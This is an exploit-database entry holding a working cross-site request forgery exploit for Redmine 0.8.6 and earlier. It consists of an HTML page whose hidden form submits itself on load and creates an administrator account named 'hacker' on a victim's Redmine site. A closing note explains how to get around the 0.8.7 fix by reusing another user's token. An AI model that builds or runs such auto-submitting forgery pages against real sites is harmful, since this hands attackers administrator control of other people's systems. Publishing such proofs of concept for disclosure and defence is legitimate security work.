Redmine 0.8.6 - Cross-Site Request Forgery (Add Admin)

EDB-ID:

10424

CVE:

N/A


Author:

p0deje

Type:

webapps


Platform:

Multiple

Date:

2009-12-14


/**
*  Redmine <= 0.8.6 CSRF Add Admin User Exploit
*  Discovered by: p0deje (http://p0deje.blogspot.com)
*  Application: http://www.redmine.org/wiki/redmine/Download
*  SA: http://www.redmine.org/news/30
*  Date: 13.11.2009
*  Versions affected: <= 0.8.6
*  Vulnerability: Cross-site Request Forgery
*  Platform: Ruby (Ruby On Rails)
*  Description: this is a simple exploit which use CSRF vulnerability in Redmine, creating user account with adminstartive rights
*/

<html>
<body>
    <form method=POST action="http://www.vulnerable-site.org/users/new">
       <input style="display: none" type="text" value="hacker" size="25" name="user[login]" id="user_login"/>
       <input style="display: none" type="text" value="hacker" size="30" name="user[firstname]" id="user_firstname"/>
       <input style="display: none" type="text" value="hacker" size="30" name="user[lastname]" id="user_lastname"/>
       <input style="display: none" type="text" value="hacker@hacker.com" size="30" name="user[mail]" id="user_mail"/>
       <input style="display: none" type="password" size="25" name="password" id="password" value="hacker" />
       <input style="display: none" type="password" size="25" name="password_confirmation" id="password_confirmation" value="hacker" />
       <input style="display: none" type="checkbox" value="1" name="user[admin]" id="user_admin"/>
       <input style="display: none" type="hidden" value="1" name="user[admin]"/>
       <input style="display: none" type="submit" value="Create" id="commit" name="commit" />
  </form>
  <script>document.getElementById("commit").click();</script>
</body>
</html>

/**
*  P.S. Actually, this vulnerability wasn't fixed in Redmine 0.8.7, because token was generated one time for all the pages and all the users.
*  Thus, you can add POST data with token of any user and exploit will get working again
*/